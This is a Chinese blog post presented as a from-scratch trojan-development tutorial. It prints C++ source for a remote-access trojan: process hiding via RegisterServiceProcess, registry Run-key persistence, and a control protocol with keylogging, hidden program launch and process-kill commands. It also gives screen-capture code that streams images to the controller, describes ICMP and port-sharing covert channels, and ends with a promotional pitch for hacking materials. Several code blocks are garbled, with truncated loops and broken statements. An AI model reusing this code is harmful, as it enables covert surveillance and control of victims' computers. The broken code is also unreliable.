木马程序开发技术:病毒源代码详解,零基础入门到精通,收藏这篇就够了

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1、木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

try

{

DWORD dwVersion = GetVersion();//取得Windows的版本号

if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表

{

int (CALLBACK *rsp)(DWORD,DWORD);

HINSTANCE dll=LoadLibrary(“KERNEL32.DLL”);//装入KERNEL32.DLL

rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,“RegisterServiceProcess”);//找到RegisterServiceProcess的入口

rsp(NULL,1);//注册服务

FreeLibrary(dll);//释放DLL模块

}

}

catch (Exception &exception)//处理异常事件

{

//处理异常事件

}

return 0;

}

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:

自装载部分:

HKEY hkey;

AnsiString NewProgramName=AnsiString(sys)+AnsiString(“+PName/”>//")+PName

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//”,

0L,

NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

NULL,

&hkey,&k);

RegSetValueEx(hkey,

“BackGroup”,

0,

REG_SZ,

NewProgramName.c_str(),

NewProgramName.Length());

RegCloseKey(hkey);

if (int(ShellExecute(Handle,

“open”,

NewProgramName.c_str(),

NULL,

NULL,

SW_HIDE))>32)

{

WantClose=true;

Close();

}

else

{

HKEY hkey;

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN”,

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,&k);

RegSetValueEx(hkey,

“BackGroup”,

0,

REG_SZ,

ProgramName.c_str(),

ProgramName.Length());

int num=0;

char str[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,str,

NULL,

&type,

strv,&vl);

if (strcmp(str,“BGroup”)==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“BGroup”);

break;

}

}while(Suc== ERROR_SUCCESS);

RegCloseKey(hkey);

}

自装载程序的卸载代码:

int num;

char str2[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,

str,

NULL,

&type,

strv,

&vl);

if (strcmp(str,“BGroup”)==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“BGroup”);

break;

}

}while(Suc== ERROR_SUCCESS)

HKEY hkey;

unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN”,

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey,

&k);

do{

Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,“BackGroup”)==0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“BackGroup”);

break;

}

}while(Suc== ERROR_SUCCESS)

RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry();

regKey.RootKey=HKEY_LOCAL_MACHINE;

regKey.OpenKey(“Software//Microsoft//Windows//CurrentVersion//Run”,true);

if(!regKey.ValueExists(“Interbase Server”))

{

regKey.WriteString(“Interbase Server”,

“D://Program Files//Borland//IntrBase//BIN//ibserver.exe”);

}

regKey.CloseKey();

delete ®Key;

4、木马程序的建立连接的隐藏

木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

C:/Documents and Settings/bigball>netstat -n

Active Connections

Proto Local Address Foreign Address State

TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

C:/Documents and Settings/bigball>netstat -a

Active Connections

Proto Local Address Foreign Address State

TCP Liumy:echo Liumy:0 LISTENING

TCP Liumy:discard Liumy:0 LISTENING

TCP Liumy:daytime Liumy:0 LISTENING

TCP Liumy:qotd Liumy:0 LISTENING

TCP Liumy:chargen Liumy:0 LISTENING

TCP Liumy:epmap Liumy:0 LISTENING

TCP Liumy:microsoft-ds Liumy:0 LISTENING

TCP Liumy:1025 Liumy:0 LISTENING

TCP Liumy:1026 Liumy:0 LISTENING

TCP Liumy:1031 Liumy:0 LISTENING

TCP Liumy:1032 Liumy:0 LISTENING

TCP Liumy:1112 Liumy:0 LISTENING

TCP Liumy:1135 Liumy:0 LISTENING

TCP Liumy:1142 Liumy:0 LISTENING

TCP Liumy:1801 Liumy:0 LISTENING

TCP Liumy:3372 Liumy:0 LISTENING

TCP Liumy:3389 Liumy:0 LISTENING

TCP Liumy:netbios-ssn Liumy:0 LISTENING

TCP Liumy:1028 Liumy:0 LISTENING

TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

TCP Liumy:1135 202.130.239.223:http ESTABLISHED

TCP Liumy:1142 202.130.239.223:http ESTABLISHED

TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

TCP Liumy:1170 202.130.239.133:http TIME_WAIT

TCP Liumy:2103 Liumy:0 LISTENING

TCP Liumy:2105 Liumy:0 LISTENING

TCP Liumy:2107 Liumy:0 LISTENING

UDP Liumy:echo *😗

UDP Liumy:discard *😗

UDP Liumy:daytime *😗

UDP Liumy:qotd *😗

UDP Liumy:chargen *😗

UDP Liumy:epmap *😗

UDP Liumy:snmp *😗

UDP Liumy:microsoft-ds *😗

UDP Liumy:1027 *😗

UDP Liumy:1029 *😗

UDP Liumy:3527 *😗

UDP Liumy:4000 *😗

UDP Liumy:4001 *😗

UDP Liumy:1033 *😗

UDP Liumy:1148 *😗

UDP Liumy:netbios-ns *😗

UDP Liumy:netbios-dgm *😗

UDP Liumy:isakmp *😗

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:


网络层次结构图

5、发送数据的组织方法

关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{ //定义消息结构

//char ip[20];

char Type; //消息种类

char Password[20]; //密码

int CNum; //消息操作号

//int Length; //消息长度

}Msg;

#define MsgLen sizeof(Msg)

//-------------------------------------------

//对话框数据包定义:Dlg_Msg_Type.h

//-------------------------------------------

//定义如下消息类型:

#define MsgDlgCommon 4//连接事件

#define MsgDlgSend 5//发送完成事件

//消息结构

typedef struct{

char Name[20];//对话框标题

char Msg[256];//对话框消息内容

}MsgDlgUint;

#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

//------------------------------------------

//聊天数据包定义:Chat_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgChatCommon 0//连接事件

#define MsgChatConnect 1//接入事件

#define MsgChatEscept 2//结束事件

#define MsgChatReceived 16//确认对话内容收到

//消息结构

typedef struct{

char ClientName[20];//Client自定义的名称

char Msg[256];//发送的消息

}MsgChatUint;

#define MsgChatLen sizeof(MsgChatUint)//消息单元长度

//------------------------------------------

//重启数据包定义:Reboot_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgReBoot 15//重启事件

//------------------------------------------

//目录结构请求数据包定义:Dir_Msg_Type.h

//------------------------------------------

//定义如下消息类型:

#define MsgGetDirInfo 17

#define MsgReceiveGetDirInfo 18

typedef struct{

char Dir[4096];//你要的目录名

}MsgDirUint;

#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg

typedef struct{ //定义消息结构

char SType; //消息种类

char SPassword[20]; //密码

//int SNum; //消息操作号

char *AllMsg;

}SMsg;

#define SMsgLen sizeof(SMsg)

#define MSGListProgram 19

#define MSGFlyMouse 21

#define MSGGoWithMouse 22

#define MSGSaveKey 23

#define MSGTracekey 24

#define MsgCopyScreen 25//tcp接收消息,udp请求消息

#define MSGCopyWindow 26

//-------------------------

//鼠标指针隐藏和显示控制

//-------------------------

#define MsgSetMouseStat 27//设置消息

#define MsgMouseStat 28//成功消息

typedef struct{

bool mouseshow;

}MsgSetMouseStatUint;

#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

上一页 1 2 3 4 5 6 7 下一页

//-------------------------

//任务栏隐藏和显示控制

//-------------------------

#define MsgSetTaskBarStat 29//设置消息

#define MsgTaskBarStat 30//成功消息

typedef struct{

bool taskshow;

}MsgSetTaskBarStatUint;

#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

//-------------------------

//得到机器名

//-------------------------

#define MsgGetNetBiosName 31//取请求

#define MsgNetBiosName 32//回送机器名

typedef struct{

char NetBiosName[128];

}MsgNetBiosNameUint;

#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------

//关闭进程变更!

//-------------------------

#define MsgSetProgramClose 33//关闭请求

#define MsgProgramClosed 34//成功消息-----

typedef struct{

char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

}MsgSetProgramCloseUint;

#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------

//打开进程变更!

//-------------------------

#define MsgSetProgramOpen 20//打开请求

#define MsgProgramOpened 36//成功消息

typedef struct{

char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

}MsgSetProgramOpenUint;

#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

Msg *msg=new Msg;

TMemoryStream *RData=new TMemoryStream;

NMUDP1->ReadStream(RData);

RData->Read(msg,sizeof(Msg));

UdpConnect *udpconnect=new UdpConnect;

NetBiosName *netbiosname=new NetBiosName;

if(msg->CNum==CNumBak)

return;

else{

CNumBak=msg->CNum;

switch(msg->Type)

{

case 0://MsgUdpConnect

RData->Read(udpconnect,sizeof(UdpConnect));

checkuser(udpconnect->IsRight);

break;

case 1:

RData->Read(netbiosname,sizeof(NetBiosName));

AnsiString jqm="机器名 ";

jqm+=(AnsiString)netbiosname->NetBiosName;

Memo2->Lines->Add(jqm);

break;

}

}

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

NMUDP1->RemoteHost=FromIP;

NMUDP1->RemotePort=Port;

TMemoryStream *RData=new TMemoryStream;

NMUDP1->ReadStream(RData);

Msg *msg=new Msg;

RData->Read(msg,sizeof(Msg));

if(msg->CNum==CNumBak)

return;

else

{

CNumBak=msg->CNum;

switch(msg->Type)

{

case 0:

checkuser(msg->Password);

break;

case 1:

GetNetBiosName();

break;

case 2:

CheckHard();

break;

}

}

此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

#define MAXXCount 10 //屏幕X方向最多分割块数

#define MAXYCount 5 //… Y…

#define DestNum 1000 //每块的偏移检测点最大个数

COLORREF Colors[MAXXCount][MAXYCount][DestNum];

COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

TPoint Dests[DestNum];

int Sw;

int Sh;

int xCount;

int yCount;

int ItemWidth;

int ItemHeight;

int Dnum;

int Qlity;

//得到消息后执行:

//另外:接收到的数据包中分析出 Dnum ,Qlity

//Dnum:偏移观测点数量

//Qlity:图象要求质量

__fastcall TForm1::CopyScreen(int DNum,int Qlity){

ItemWidth=Sw/xCount;

ItemHeight=Sh/yCount;

Sw=Screen->Width;

Sh=Screen->Height;

xCount=(Sw>1000)?8:6;

yCount=(Sh>1000)?3:2;

for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

Dests[num1].y=random(ItemHeight);

}

CatchScreen(DNum,Qlity);

}

//收到刷屏消息后只执行:

CatchScreen(DNum,Qlity);

__fastcall TForm1::CatchScreen(int DNum,int Qlity){

//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

//DNum: 偏移量 Qlity:图象质量

HDC dc=GetDC(GetDesktopWindow());

Graphics::TBitmap *bm=new Graphics::TBitmap;

bm->Width=Sw;

bm->Height=Sh;

BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

int num1,num2,num3;

int nowx,nowy;

bool Change;

bool ItemChange[MAXXCount][MAXYCount];

for (num1=0;num1 nowx=ItemWidth*num1;

for (num2=0;num2 nowy=ItemHeight*num2;

Change=false;

for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

BakColors[num1][num2][num3]=Colors[num1][num2][num3];

ItemChange[num1][num2]=true;

}

}

}

}

int CNum,MaxCNum;

int ChangedNum=0;

TRect *Rect;

int num4;

int MinSize=10000;

int m;

TRect MinRect;

Graphics::TBitmap *bt2=new Graphics::TBitmap;

TJPEGImage *j=new TJPEGImage;

//************************

j->Quality=Qlity;

//************************

CopyScreenUint CopyScreen;

CopyScreenItemUint CopyScreenItem;

TMemoryStream *ms=new TMemoryStream;

ms->Write(&TcpMsg,sizeof(TcpMsgUint));

ms->Write(&CopyScreen,sizeof(CopyScreenUint));

do{

for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

MaxCNum=0;

for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形

CNum=GetChangedNum(TRect(num1,num2,num3,num4));

if (CNum>MaxCNum) MaxCNum=CNum;

m=(num3-num1)*(num4-num2);

if (2*m-CNum MinSize=2*m-CNum;

MinRect=TRect(num1,num2,num3,num4);

}

}

}

TMemoryStream *ms;

BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

j->Assign(bt2);

j->SaveToStream(ms2);

CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1

ms2->Position=0;

CopyScreenItem.Length=ms2->Size;

ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

ms->CopyFrom(ms2,ms2->Size);

ChangedNum++;

}while(MaxCNum>0);

TcpMsg.Type=MsgCopyScreen;

ms->Position=0;

TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

CopyScreen.Count=ChangedNum;

ms->Write(&TcpMsg,sizeof(TcpMsgUint));

ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

ms->Position=0;

sock->SendStream(ms);

}

这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值